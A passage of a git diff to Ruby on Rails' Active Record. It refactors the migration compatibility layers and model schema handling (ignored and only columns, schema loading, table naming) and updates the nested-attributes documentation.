-          unless adapter_name == "Mysql2" && options[:id] == :bigint
+          unless ["Mysql2", "Trilogy"].include?(connection.adapter_name) && options[:id] == :bigint
             if [:integer, :bigint].include?(options[:id]) && !options.key?(:default)
               options[:default] = nil
             end
           end
 
-          # Since 5.1 Postgres adapter uses bigserial type for primary
+          # Since 5.1 PostgreSQL adapter uses bigserial type for primary
           # keys by default and MySQL uses bigint. This compat layer makes old migrations utilize
           # serial/int type instead -- the way it used to work before 5.1.
           unless options.key?(:id)
             options[:id] = :integer
           end
 
-          if block_given?
-            super(table_name, options) do |t|
-              class << t
-                prepend TableDefinition
-              end
-              yield t
-            end
-          else
-            super
-          end
+          super
         end
 
-        def change_table(table_name, options = {})
-          if block_given?
-            super(table_name, options) do |t|
-              class << t
-                prepend TableDefinition
-              end
-              yield t
-            end
-          else
-            super
+        def create_join_table(table_1, table_2, column_options: {}, **options)
+          column_options.reverse_merge!(type: :integer)
+          super
+        end
+
+        def add_column(table_name, column_name, type, **options)
+          if type == :primary_key
+            type = :integer
+            options[:primary_key] = true
+          elsif type == :datetime
+            options[:precision] ||= nil
           end
+          super
         end
 
         def add_reference(table_name, ref_name, **options)
           super(table_name, ref_name, type: :integer, **options)
         end
         alias :add_belongs_to :add_reference
+
+        private
+          def compatible_table_definition(t)
+            t.singleton_class.prepend(TableDefinition)
+            super
+          end
       end
 
       class V4_2 < V5_0
@@ -84,74 +440,56 @@ def timestamps(**options)
             options[:null] = true if options[:null].nil?
             super
           end
-        end
-
-        def create_table(table_name, options = {})
-          if block_given?
-            super(table_name, options) do |t|
-              class << t
-                prepend TableDefinition
-              end
-              yield t
-            end
-          else
-            super
-          end
-        end
 
-        def change_table(table_name, options = {})
-          if block_given?
-            super(table_name, options) do |t|
-              class << t
-                prepend TableDefinition
-              end
-              yield t
+          private
+            def raise_on_if_exist_options(options)
             end
-          else
-            super
-          end
         end
 
-        def add_reference(*, **options)
+        def add_reference(table_name, ref_name, **options)
           options[:index] ||= false
           super
         end
         alias :add_belongs_to :add_reference
 
-        def add_timestamps(_, **options)
+        def add_timestamps(table_name, **options)
           options[:null] = true if options[:null].nil?
           super
         end
 
-        def index_exists?(table_name, column_name, options = {})
+        def index_exists?(table_name, column_name = nil, **options)
           column_names = Array(column_name).map(&:to_s)
           options[:name] =
             if options[:name].present?
               options[:name].to_s
             else
-              index_name(table_name, column: column_names)
+              connection.index_name(table_name, column: column_names)
             end
           super
         end
 
-        def remove_index(table_name, options = {})
-          options = { column: options } unless options.is_a?(Hash)
-          options[:name] = index_name_for_remove(table_name, options)
-          super(table_name, options)
+        def remove_index(table_name, column_name = nil, **options)
+          options[:name] = index_name_for_remove(table_name, column_name, options)
+          super
         end
 
         private
+          def compatible_table_definition(t)
+            t.singleton_class.prepend(TableDefinition)
+            super
+          end
 
-          def index_name_for_remove(table_name, options = {})
-            index_name = index_name(table_name, options)
+          def index_name_for_remove(table_name, column_name, options)
+            index_name = connection.index_name(table_name, column_name || options)
 
-            unless index_name_exists?(table_name, index_name)
-              if options.is_a?(Hash) && options.has_key?(:name)
-                options_without_column = options.dup
-                options_without_column.delete :column
-                index_name_without_column = index_name(table_name, options_without_column)
+            unless connection.index_name_exists?(table_name, index_name)
+              if options.key?(:name)
+                options_without_column = options.except(:column)
+                index_name_without_column = connection.index_name(table_name, options_without_column)
 
-                return index_name_without_column if index_name_exists?(table_name, index_name_without_column)
+                if connection.index_name_exists?(table_name, index_name_without_column)
+                  return index_name_without_column
+                end
               end
 
               raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' does not exist"
diff --git a/activerecord/lib/active_record/migration/default_schema_versions_formatter.rb b/activerecord/lib/active_record/migration/default_schema_versions_formatter.rb
new file mode 100644
index 0000000000000..3fca6e17ade08
--- /dev/null
+++ b/activerecord/lib/active_record/migration/default_schema_versions_formatter.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Migration
+    # This class is used by the schema dumper to format versions information.
+    #
+    # The class receives the current +connection+ when initialized.
+    class DefaultSchemaVersionsFormatter # :nodoc:
+      def initialize(connection)
+        @connection = connection
+      end
+
+      def format(versions)
+        sm_table = connection.quote_table_name(connection.pool.schema_migration.table_name)
+
+        if versions.is_a?(Array)
+          sql = +"INSERT INTO #{sm_table} (version) VALUES\n"
+          sql << versions.reverse.map { |v| "(#{connection.quote(v)})" }.join(",\n")
+          sql << ";"
+          sql
+        else
+          "INSERT INTO #{sm_table} (version) VALUES (#{connection.quote(versions)});"
+        end
+      end
+
+      private
+        attr_reader :connection
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/migration/default_strategy.rb b/activerecord/lib/active_record/migration/default_strategy.rb
new file mode 100644
index 0000000000000..c598564b979ea
--- /dev/null
+++ b/activerecord/lib/active_record/migration/default_strategy.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Migration
+    # The default strategy for executing migrations. Delegates method calls
+    # to the connection adapter.
+    class DefaultStrategy < ExecutionStrategy # :nodoc:
+      private
+        def method_missing(method, ...)
+          connection.send(method, ...)
+        end
+
+        def respond_to_missing?(method, include_private = false)
+          connection.respond_to?(method, include_private) || super
+        end
+
+        def connection
+          migration.connection
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/migration/execution_strategy.rb b/activerecord/lib/active_record/migration/execution_strategy.rb
new file mode 100644
index 0000000000000..299e89029aaf9
--- /dev/null
+++ b/activerecord/lib/active_record/migration/execution_strategy.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Migration
+    # ExecutionStrategy is used by the migration to respond to any method calls
+    # that the migration class does not implement directly. This is the base strategy.
+    # All strategies should inherit from this class.
+    #
+    # The ExecutionStrategy receives the current +migration+ when initialized.
+    class ExecutionStrategy # :nodoc:
+      def initialize(migration)
+        @migration = migration
+      end
+
+      private
+        attr_reader :migration
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/migration/join_table.rb b/activerecord/lib/active_record/migration/join_table.rb
index 89789f00ea941..7d3c59bb18dd2 100644
--- a/activerecord/lib/active_record/migration/join_table.rb
+++ b/activerecord/lib/active_record/migration/join_table.rb
@@ -1,8 +1,9 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   class Migration
-    module JoinTable #:nodoc:
+    module JoinTable # :nodoc:
       private
-
         def find_join_table_name(table_1, table_2, options = {})
           options.delete(:table_name) || join_table_name(table_1, table_2)
         end
diff --git a/activerecord/lib/active_record/migration/pending_migration_connection.rb b/activerecord/lib/active_record/migration/pending_migration_connection.rb
new file mode 100644
index 0000000000000..992da1c57c3dd
--- /dev/null
+++ b/activerecord/lib/active_record/migration/pending_migration_connection.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PendingMigrationConnection # :nodoc:
+    def self.with_temporary_pool(db_config, &block)
+      pool = ActiveRecord::Base.connection_handler.establish_connection(db_config, owner_name: self)
+
+      yield pool
+    ensure
+      ActiveRecord::Base.connection_handler.remove_connection_pool(self.name)
+    end
+
+    def self.primary_class?
+      false
+    end
+
+    def self.current_preventing_writes
+      false
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/model_schema.rb b/activerecord/lib/active_record/model_schema.rb
index 54216caaaf947..d92cdf0a8be63 100644
--- a/activerecord/lib/active_record/model_schema.rb
+++ b/activerecord/lib/active_record/model_schema.rb
@@ -1,7 +1,18 @@
+# frozen_string_literal: true
+
+require "monitor"
+
 module ActiveRecord
   module ModelSchema
     extend ActiveSupport::Concern
 
+    ##
+    # :method: id_value
+    # :call-seq: id_value
+    #
+    # Returns the underlying column value for a column named "id". Useful when defining
+    # a composite primary key including an "id" column so that the value is readable.
+
     ##
     # :singleton-method: primary_key_prefix_type
     # :call-seq: primary_key_prefix_type
@@ -37,7 +48,7 @@ module ModelSchema
     # way of creating a namespace for tables in a shared database. By default, the prefix is the
     # empty string.
     #
-    # If you are organising your models within modules you can add a prefix to the models within
+    # If you are organizing your models within modules you can add a prefix to the models within
     # a namespace by defining a singleton method in the parent module called table_name_prefix which
     # returns your chosen prefix.
 
@@ -54,7 +65,7 @@ module ModelSchema
     # Works like +table_name_prefix=+, but appends instead of prepends (set to "_basecamp" gives "projects_basecamp",
     # "people_basecamp"). By default, the suffix is the empty string.
     #
-    # If you are organising your models within modules, you can add a suffix to the models within
+    # If you are organizing your models within modules, you can add a suffix to the models within
     # a namespace by defining a singleton method in the parent module called table_name_suffix which
     # returns your chosen suffix.
 
@@ -82,19 +93,6 @@ module ModelSchema
     #
     # Sets the name of the internal metadata table.
 
-    ##
-    # :singleton-method: protected_environments
-    # :call-seq: protected_environments
-    #
-    # The array of names of environments where destructive actions should be prohibited. By default,
-    # the value is <tt>["production"]</tt>.
-
-    ##
-    # :singleton-method: protected_environments=
-    # :call-seq: protected_environments=(environments)
-    #
-    # Sets an array of names of environments where destructive actions should be prohibited.
-
     ##
     # :singleton-method: pluralize_table_names
     # :call-seq: pluralize_table_names
@@ -112,46 +110,82 @@ module ModelSchema
     # See table_name for the full rules on table/class naming. This is true, by default.
 
     ##
-    # :singleton-method: ignored_columns
-    # :call-seq: ignored_columns
+    # :singleton-method: implicit_order_column
+    # :call-seq: implicit_order_column
     #
-    # The list of columns names the model should ignore. Ignored columns won't have attribute
-    # accessors defined, and won't be referenced in SQL queries.
+    # The name of the column(s) records are ordered by if no explicit order clause
+    # is used during an ordered finder call. If not set the primary key is used.
 
     ##
-    # :singleton-method: ignored_columns=
-    # :call-seq: ignored_columns=(columns)
+    # :singleton-method: implicit_order_column=
+    # :call-seq: implicit_order_column=(column_name)
     #
-    # Sets the columns names the model should ignore. Ignored columns won't have attribute
-    # accessors defined, and won't be referenced in SQL queries.
-
-    included do
-      mattr_accessor :primary_key_prefix_type, instance_writer: false
+    # Sets the column(s) to sort records by when no explicit order clause is used
+    # during an ordered finder call. Useful for models where the primary key isn't an
+    # auto-incrementing integer (such as UUID).
+    #
+    # By default, records are subsorted by primary key to ensure deterministic results.
+    # To disable this subsort behavior, set `implicit_order_column` to `["column_name", nil]`.
 
-      class_attribute :table_name_prefix, instance_writer: false
-      self.table_name_prefix = ""
+    ##
+    # :singleton-method: immutable_strings_by_default=
+    # :call-seq: immutable_strings_by_default=(bool)
+    #
+    # Determines whether columns should infer their type as +:string+ or
+    # +:immutable_string+. This setting does not affect the behavior of
+    # <tt>attribute :foo, :string</tt>. Defaults to false.
 
-      class_attribute :table_name_suffix, instance_writer: false
-      self.table_name_suffix = ""
+    ##
+    # :singleton-method: inheritance_column
+    # :call-seq: inheritance_column
+    #
+    # The name of the table column which stores the class name on single-table
+    # inheritance situations.
+    #
+    # The default inheritance column name is +type+, which means it's a
+    # reserved word inside Active Record. To be able to use single-table
+    # inheritance with another column name, or to use the column +type+ in
+    # your own model for something else, you can set +inheritance_column+:
+    #
+    #     self.inheritance_column = 'zoink'
+    #
+    # If you wish to disable single-table inheritance altogether you can set
+    # +inheritance_column+ to +nil+
+    #
+    #     self.inheritance_column = nil
 
-      class_attribute :schema_migrations_table_name, instance_accessor: false
-      self.schema_migrations_table_name = "schema_migrations"
+    ##
+    # :singleton-method: inheritance_column=
+    # :call-seq: inheritance_column=(column)
+    #
+    # Defines the name of the table column which will store the class name on single-table
+    # inheritance situations.
 
-      class_attribute :internal_metadata_table_name, instance_accessor: false
-      self.internal_metadata_table_name = "ar_internal_metadata"
+    included do
+      class_attribute :primary_key_prefix_type, instance_writer: false
+      class_attribute :table_name_prefix, instance_writer: false, default: ""
+      class_attribute :table_name_suffix, instance_writer: false, default: ""
+      class_attribute :schema_migrations_table_name, instance_accessor: false, default: "schema_migrations"
+      class_attribute :internal_metadata_table_name, instance_accessor: false, default: "ar_internal_metadata"
+      class_attribute :pluralize_table_names, instance_writer: false, default: true
+      class_attribute :implicit_order_column, instance_accessor: false
+      class_attribute :immutable_strings_by_default, instance_accessor: false
+
+      class_attribute :inheritance_column, instance_accessor: false, default: "type"
+      singleton_class.class_eval do
+        alias_method :_inheritance_column=, :inheritance_column=
+        private :_inheritance_column=
+        alias_method :inheritance_column=, :real_inheritance_column=
+      end
 
-      class_attribute :protected_environments, instance_accessor: false
       self.protected_environments = ["production"]
 
-      class_attribute :pluralize_table_names, instance_writer: false
-      self.pluralize_table_names = true
-
-      class_attribute :ignored_columns, instance_accessor: false
       self.ignored_columns = [].freeze
+      self.only_columns = [].freeze
 
-      self.inheritance_column = "type"
+      delegate :type_for_attribute, :column_for_attribute, to: :class
 
-      delegate :type_for_attribute, to: :class
+      initialize_load_schema_monitor
     end
 
     # Derives the join table name for +first_table+ and +second_table+. The
@@ -161,8 +195,9 @@ module ModelSchema
     #   artists, records => artists_records
     #   records, artists => artists_records
     #   music_artists, music_records => music_artists_records
+    #   music.artists, music.records => music.artists_records
     def self.derive_join_table_name(first_table, second_table) # :nodoc:
-      [first_table.to_s, second_table.to_s].sort.join("\0").gsub(/^(.*_)(.+)\0\1(.+)/, '\1\2_\3').tr("\0", "_")
+      [first_table.to_s, second_table.to_s].sort.join("\0").gsub(/^(.*[_.])(.+)\0\1(.+)/, '\1\2_\3').tr("\0", "_")
     end
 
     module ClassMethods
@@ -205,6 +240,21 @@ module ClassMethods
       # the table name guess for an Invoice class becomes "myapp_invoices".
       # Invoice::Lineitem becomes "myapp_invoice_lineitems".
       #
+      # Active Model Naming's +model_name+ is the base name used to guess the
+      # table name. In case a custom Active Model Name is defined, it will be
+      # used for the table name as well:
+      #
+      #   class PostRecord < ActiveRecord::Base
+      #     class << self
+      #       def model_name
+      #         ActiveModel::Name.new(self, nil, "Post")
+      #       end
+      #     end
+      #   end
+      #
+      #   PostRecord.table_name
+      #   # => "posts"
+      #
       # You can also set your own table name explicitly:
       #
       #   class Mouse < ActiveRecord::Base
@@ -229,21 +279,22 @@ def table_name=(value)
         end
 
         @table_name        = value
-        @quoted_table_name = nil
         @arel_table        = nil
-        @sequence_name     = nil unless defined?(@explicit_sequence_name) && @explicit_sequence_name
+        @sequence_name     = nil unless @explicit_sequence_name
         @predicate_builder = nil
       end
 
-      # Returns a quoted version of the table name, used to construct SQL statements.
+      # Returns a quoted version of the table name.
       def quoted_table_name
-        @quoted_table_name ||= connection.quote_table_name(table_name)
+        adapter_class.quote_table_name(table_name)
       end
 
       # Computes the table name, (re)sets it internally, and returns it.
-      def reset_table_name #:nodoc:
-        self.table_name = if abstract_class?
-          superclass == Base ? nil : superclass.table_name
+      def reset_table_name # :nodoc:
+        self.table_name = if self == Base
+          nil
+        elsif abstract_class?
+          superclass.table_name
         elsif superclass.abstract_class?
           superclass.table_name || compute_table_name
         else
@@ -251,44 +302,99 @@ def reset_table_name #:nodoc:
         end
       end
 
-      def full_table_name_prefix #:nodoc:
-        (parents.detect { |p| p.respond_to?(:table_name_prefix) } || self).table_name_prefix
+      def full_table_name_prefix # :nodoc:
+        (module_parents.detect { |p| p.respond_to?(:table_name_prefix) } || self).table_name_prefix
+      end
+
+      def full_table_name_suffix # :nodoc:
+        (module_parents.detect { |p| p.respond_to?(:table_name_suffix) } || self).table_name_suffix
+      end
+
+      # The array of names of environments where destructive actions should be prohibited. By default,
+      # the value is <tt>["production"]</tt>.
+      def protected_environments
+        if defined?(@protected_environments)
+          @protected_environments
+        else
+          superclass.protected_environments
+        end
+      end
+
+      # Sets an array of names of environments where destructive actions should be prohibited.
+      def protected_environments=(environments)
+        @protected_environments = environments.map(&:to_s)
+      end
+
+      def real_inheritance_column=(value) # :nodoc:
+        self._inheritance_column = value.to_s
+      end
+
+      # The list of columns names the model should ignore. Ignored columns won't have attribute
+      # accessors defined, and won't be referenced in SQL queries.
+      def ignored_columns
+        @ignored_columns || superclass.ignored_columns
       end
 
-      def full_table_name_suffix #:nodoc:
-        (parents.detect { |p| p.respond_to?(:table_name_suffix) } || self).table_name_suffix
+      # The list of columns names the model should allow. Only columns are used to define
+      # attribute accessors, and are referenced in SQL queries.
+      def only_columns
+        @only_columns || superclass.only_columns
       end
 
-      # Defines the name of the table column which will store the class name on single-table
-      # inheritance situations.
+      # Sets the columns names the model should ignore. Ignored columns won't have attribute
+      # accessors defined, and won't be referenced in SQL queries.
+      #
+      # A common usage pattern for this method is to ensure all references to an attribute
+      # have been removed and deployed, before a migration to drop the column from the database
+      # has been deployed and run. Using this two step approach to dropping columns ensures there
+      # is no code that raises errors due to having a cached schema in memory at the time the
+      # schema migration is run.
+      #
+      # For example, given a model where you want to drop the "category" attribute, first mark it
+      # as ignored:
+      #
+      #   class Project < ActiveRecord::Base
+      #     # schema:
+      #     #   id         :bigint
+      #     #   name       :string, limit: 255
+      #     #   category   :string, limit: 255
+      #
+      #     self.ignored_columns += [:category]
+      #   end
+      #
+      # The schema still contains "category", but now the model omits it, so any meta-driven code or
+      # schema caching will not attempt to use the column:
       #
-      # The default inheritance column name is +type+, which means it's a
-      # reserved word inside Active Record. To be able to use single-table
-      # inheritance with another column name, or to use the column +type+ in
-      # your own model for something else, you can set +inheritance_column+:
+      #   Project.columns_hash["category"] => nil
       #
-      #     self.inheritance_column = 'zoink'
-      def inheritance_column
-        (@inheritance_column ||= nil) || superclass.inheritance_column
+      # You will get an error if accessing that attribute directly, so ensure all usages of the
+      # column are removed (automated tests can help you find any usages).
+      #
+      #   user = Project.create!(name: "First Project")
+      #   user.category # => raises NoMethodError
+      def ignored_columns=(columns)
+        check_model_columns(@only_columns.present?)
+        reload_schema_from_cache
+        @ignored_columns = columns.map(&:to_s).freeze
       end
 
-      # Sets the value of inheritance_column
-      def inheritance_column=(value)
-        @inheritance_column = value.to_s
-        @explicit_inheritance_column = true
+      def only_columns=(columns)
+        check_model_columns(@ignored_columns.present?)
+        reload_schema_from_cache
+        @only_columns = columns.map(&:to_s).freeze
       end
 
       def sequence_name
-        if base_class == self
+        if base_class?
           @sequence_name ||= reset_sequence_name
         else
           (@sequence_name ||= nil) || base_class.sequence_name
         end
       end
 
-      def reset_sequence_name #:nodoc:
+      def reset_sequence_name # :nodoc:
         @explicit_sequence_name = false
-        @sequence_name          = connection.default_sequence_name(table_name, primary_key)
+        @sequence_name          = with_connection { |c| c.default_sequence_name(table_name, primary_key) }
       end
 
       # Sets the name of the sequence to use when generating ids to the given
@@ -313,63 +419,67 @@ def sequence_name=(value)
       # Determines if the primary key values should be selected from their
       # corresponding sequence before the insert statement.
       def prefetch_primary_key?
-        connection.prefetch_primary_key?(table_name)
+        with_connection { |c| c.prefetch_primary_key?(table_name) }
       end
 
       # Returns the next value that will be used as the primary key on
       # an insert statement.
       def next_sequence_value
-        connection.next_sequence_value(sequence_name)
+        with_connection { |c| c.next_sequence_value(sequence_name) }
       end
 
       # Indicates whether the table associated with this class exists
       def table_exists?
-        connection.schema_cache.data_source_exists?(table_name)
+        schema_cache.data_source_exists?(table_name)
       end
 
       def attributes_builder # :nodoc:
-        @attributes_builder ||= AttributeSet::Builder.new(attribute_types, primary_key) do |name|
-          unless columns_hash.key?(name)
-            _default_attributes[name].dup
-          end
+        @attributes_builder ||= begin
+          defaults = _default_attributes.except(*(column_names - [primary_key]))
+          ActiveModel::AttributeSet::Builder.new(attribute_types, defaults)
         end
       end
 
       def columns_hash # :nodoc:
-        load_schema
+        load_schema unless @columns_hash
         @columns_hash
       end
 
       def columns
-        load_schema
-        @columns ||= columns_hash.values
+        @columns ||= columns_hash.values.freeze
       end
 
-      def attribute_types # :nodoc:
-        load_schema
-        @attribute_types ||= Hash.new(Type.default_value)
+      def _returning_columns_for_insert(connection) # :nodoc:
+        @_returning_columns_for_insert ||= begin
+          auto_populated_columns = columns.filter_map do |c|
+            c.name if connection.return_value_after_insert?(c)
+          end
+
+          auto_populated_columns.empty? ? Array(primary_key) : auto_populated_columns
+        end
       end
 
       def yaml_encoder # :nodoc:
-        @yaml_encoder ||= AttributeSet::YAMLEncoder.new(attribute_types)
+        @yaml_encoder ||= ActiveModel::AttributeSet::YAMLEncoder.new(attribute_types)
       end
 
-      # Returns the type of the attribute with the given name, after applying
-      # all modifiers. This method is the only valid source of information for
-      # anything related to the types of a model's attributes. This method will
-      # access the database and load the model's schema if it is required.
+      # Returns the column object for the named attribute.
+      # Returns an ActiveRecord::ConnectionAdapters::NullColumn if the
+      # named attribute does not exist.
       #
-      # The return value of this method will implement the interface described
-      # by ActiveModel::Type::Value (though the object itself may not subclass
-      # it).
+      #   class Person < ActiveRecord::Base
+      #   end
       #
-      # +attr_name+ The name of the attribute to retrieve the type for. Must be
-      # a string
-      def type_for_attribute(attr_name, &block)
-        if block
-          attribute_types.fetch(attr_name, &block)
-        else
-          attribute_types[attr_name]
+      #   person = Person.new
+      #   person.column_for_attribute(:name) # the result depends on the ConnectionAdapter
+      #   # => #<ActiveRecord::ConnectionAdapters::Column:0x007ff4ab083980 @name="name", @sql_type="varchar(255)", @null=true, ...>
+      #
+      #   person.column_for_attribute(:nothing)
+      #   # => #<ActiveRecord::ConnectionAdapters::NullColumn:0xXXX @name=nil, @sql_type=nil, @cast_type=#<Type::Value>, ...>
+      def column_for_attribute(name)
+        name = name.to_s
+        columns_hash.fetch(name) do
+          ConnectionAdapters::NullColumn.new(name)
         end
       end
 
@@ -377,16 +487,17 @@ def type_for_attribute(attr_name, &block)
       # default values when instantiating the Active Record object for this table.
       def column_defaults
         load_schema
-        _default_attributes.to_hash
-      end
-
-      def _default_attributes # :nodoc:
-        @default_attributes ||= AttributeSet.new({})
+        @column_defaults ||= _default_attributes.deep_dup.to_hash.freeze
       end
 
       # Returns an array of column names as strings.
       def column_names
-        @column_names ||= columns.map(&:name)
+        @column_names ||= columns.map(&:name).freeze
+      end
+
+      def symbol_column_to_string(name_symbol) # :nodoc:
+        @symbol_column_to_string_name_hash ||= column_names.index_by(&:to_sym)
+        @symbol_column_to_string_name_hash[name_symbol]
       end
 
       # Returns an array of column objects where the primary id, all columns ending in "_id" or "_count",
@@ -395,9 +506,8 @@ def content_columns
         @content_columns ||= columns.reject do |c|
           c.name == primary_key ||
           c.name == inheritance_column ||
-          c.name.end_with?("_id") ||
-          c.name.end_with?("_count")
-        end
+          c.name.end_with?("_id", "_count")
+        end.freeze
       end
 
       # Resets all the cached information about columns, which will cause them
@@ -405,9 +515,9 @@ def content_columns
       #
       # The most common usage pattern for this method is probably in a migration,
       # when just after creating a table you want to populate it with some default
-      # values, eg:
+      # values, e.g.:
       #
-      #  class CreateJobLevels < ActiveRecord::Migration[5.0]
+      #  class CreateJobLevels < ActiveRecord::Migration[8.2]
       #    def up
       #      create_table :job_levels do |t|
       #        t.integer :id
@@ -427,78 +537,122 @@ def content_columns
       #    end
       #  end
       def reset_column_information
-        connection.clear_cache!
-        undefine_attribute_methods
-        connection.schema_cache.clear_data_source_cache!(table_name)
+        connection_pool.active_connection&.clear_cache!
+        ([self] + descendants).each(&:undefine_attribute_methods)
+        schema_cache.clear_data_source_cache!(table_name)
 
         reload_schema_from_cache
         initialize_find_by_cache
       end
 
-      private
+      # Load the model's schema information either from the schema cache
+      # or directly from the database.
+      def load_schema
+        return if schema_loaded?
+        @load_schema_monitor.synchronize do
+          return if schema_loaded?
 
-        def schema_loaded?
-          defined?(@columns_hash) && @columns_hash
-        end
+          load_schema!
 
-        def load_schema
-          unless schema_loaded?
-            load_schema!
-          end
+          @schema_loaded = true
+        rescue
+          reload_schema_from_cache # If the schema loading failed half way through, we must reset the state.
+          raise
         end
+      end
 
-        def load_schema!
-          @columns_hash = connection.schema_cache.columns_hash(table_name).except(*ignored_columns)
-          @columns_hash.each do |name, column|
-            define_attribute(
-              name,
-              connection.lookup_cast_type_from_column(column),
-              default: column.default,
-              user_provided_default: false
-            )
-          end
+      protected
+        def initialize_load_schema_monitor
+          @load_schema_monitor = Monitor.new
         end
 
-        def reload_schema_from_cache
-          @arel_engine = nil
+        def reload_schema_from_cache(recursive = true)
+          @_returning_columns_for_insert = nil
           @arel_table = nil
           @column_names = nil
-          @attribute_types = nil
+          @symbol_column_to_string_name_hash = nil
           @content_columns = nil
-          @default_attributes = nil
-          @inheritance_column = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column
+          @column_defaults = nil
           @attributes_builder = nil
           @columns = nil
           @columns_hash = nil
+          @schema_loaded = false
           @attribute_names = nil
           @yaml_encoder = nil
-          direct_descendants.each do |descendant|
-            descendant.send(:reload_schema_from_cache)
+          if recursive
+            subclasses.each do |descendant|
+              descendant.send(:reload_schema_from_cache)
+            end
+          end
+        end
+
+      private
+        def inherited(child_class)
+          super
+          child_class.initialize_load_schema_monitor
+          child_class.reload_schema_from_cache(false)
+          child_class.class_eval do
+            @ignored_columns = nil
+            @only_columns = nil
+          end
+        end
+
+        def schema_loaded?
+          @schema_loaded
+        end
+
+        def load_schema!
+          unless table_name
+            raise ActiveRecord::TableNotSpecified, "#{self} has no table configured. Set one with #{self}.table_name="
+          end
+
+          columns_hash = schema_cache.columns_hash(table_name)
+          if only_columns.present?
+            columns_hash = columns_hash.slice(*only_columns)
+          elsif ignored_columns.present?
+            columns_hash = columns_hash.except(*ignored_columns)
           end
+          @columns_hash = columns_hash.freeze
+
+          _default_attributes # Precompute to cache DB-dependent attribute types
         end
 
         # Guesses the table name, but does not decorate it with prefix and suffix information.
-        def undecorated_table_name(class_name = base_class.name)
-          table_name = class_name.to_s.demodulize.underscore
+        def undecorated_table_name(model_name)
+          table_name = model_name.to_s.demodulize.underscore
           pluralize_table_names ? table_name.pluralize : table_name
         end
 
         # Computes and returns a table name according to default conventions.
         def compute_table_name
-          base = base_class
-          if self == base
+          if base_class?
             # Nested classes are prefixed with singular parent table name.
-            if parent < Base && !parent.abstract_class?
-              contained = parent.table_name
-              contained = contained.singularize if parent.pluralize_table_names
+            if module_parent < Base && !module_parent.abstract_class?
+              contained = module_parent.table_name
+              contained = contained.singularize if module_parent.pluralize_table_names
               contained += "_"
             end
 
-            "#{full_table_name_prefix}#{contained}#{undecorated_table_name(name)}#{full_table_name_suffix}"
+            "#{full_table_name_prefix}#{contained}#{undecorated_table_name(model_name)}#{full_table_name_suffix}"
           else
-            # STI subclasses always use their superclass' table.
-            base.table_name
+            # STI subclasses always use their superclass's table.
+            base_class.table_name
+          end
+        end
+
+        def type_for_column(connection, column)
+          # TODO: Remove the need for a connection after we release 8.1.
+          type = column.fetch_cast_type(connection)
+
+          if immutable_strings_by_default && type.respond_to?(:to_immutable_string)
+            type = type.to_immutable_string
           end
+
+          type
+        end
+
+        def check_model_columns(columns_present)
+          raise ArgumentError, "You can not use both only_columns and ignored_columns in the same model." if columns_present
         end
     end
   end
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
index 01ecd79b8f85c..c20a1022a3e36 100644
--- a/activerecord/lib/active_record/nested_attributes.rb
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -1,20 +1,21 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/except"
-require "active_support/core_ext/object/try"
+require "active_support/core_ext/module/redefine_method"
 require "active_support/core_ext/hash/indifferent_access"
 
 module ActiveRecord
-  module NestedAttributes #:nodoc:
+  module NestedAttributes # :nodoc:
     class TooManyRecords < ActiveRecordError
     end
 
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :nested_attributes_options, instance_writer: false
-      self.nested_attributes_options = {}
+      class_attribute :nested_attributes_options, instance_writer: false, default: {}
     end
 
-    # = Active Record Nested Attributes
+    # = Active Record Nested \Attributes
     #
     # Nested attributes allow you to save attributes on associated records
     # through the parent. By default nested attribute updating is turned off
@@ -61,6 +62,18 @@ class TooManyRecords < ActiveRecordError
     #   member.update params[:member]
     #   member.avatar.icon # => 'sad'
     #
+    # If you want to update the current avatar without providing the id, you must add <tt>:update_only</tt> option.
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_one :avatar
+    #     accepts_nested_attributes_for :avatar, update_only: true
+    #   end
+    #
+    #   params = { member: { avatar_attributes: { icon: 'sad' } } }
+    #   member.update params[:member]
+    #   member.avatar.id # => 2
+    #   member.avatar.icon # => 'sad'
+    #
     # By default you will only be able to set and update attributes on the
     # associated model. If you want to destroy the associated model through the
     # attributes hash, you have to enable it first using the
@@ -167,7 +180,7 @@ class TooManyRecords < ActiveRecordError
     #   member.posts.second.title # => '[UPDATED] other post'
     #
     # However, the above applies if the parent model is being updated as well.
-    # For example, If you wanted to create a +member+ named _joe_ and wanted to
+    # For example, if you wanted to create a +member+ named _joe_ and wanted to
     # update the +posts+ at the same time, that would give an
     # ActiveRecord::RecordNotFound error.
     #
@@ -232,18 +245,19 @@ class TooManyRecords < ActiveRecordError
     #
     # === Validating the presence of a parent model
     #
-    # If you want to validate that a child record is associated with a parent
-    # record, you can use the +validates_presence_of+ method and the +:inverse_of+
-    # key as this example illustrates:
+    # The +belongs_to+ association validates the presence of the parent model
+    # by default. You can disable this behavior by specifying <code>optional: true</code>.
+    # This can be used, for example, when conditionally validating the presence
+    # of the parent model:
     #
-    #   class Member < ActiveRecord::Base
-    #     has_many :posts, inverse_of: :member
-    #     accepts_nested_attributes_for :posts
+    #   class Veterinarian < ActiveRecord::Base
+    #     has_many :patients, inverse_of: :veterinarian
+    #     accepts_nested_attributes_for :patients
     #   end
     #
-    #   class Post < ActiveRecord::Base
-    #     belongs_to :member, inverse_of: :posts
-    #     validates_presence_of :member
+    #   class Patient < ActiveRecord::Base
+    #     belongs_to :veterinarian, inverse_of: :patients, optional: true
+    #     validates :veterinarian, presence: true, unless: -> { awaiting_intake }
     #   end
     #
     # Note that if you do not specify the +:inverse_of+ option, then
@@ -266,6 +280,24 @@ class TooManyRecords < ActiveRecordError
     #   member = Member.new
     #   member.avatar_attributes = {icon: 'sad'}
     #   member.avatar.width # => 200
+    #
+    # === Creating forms with nested attributes
+    #
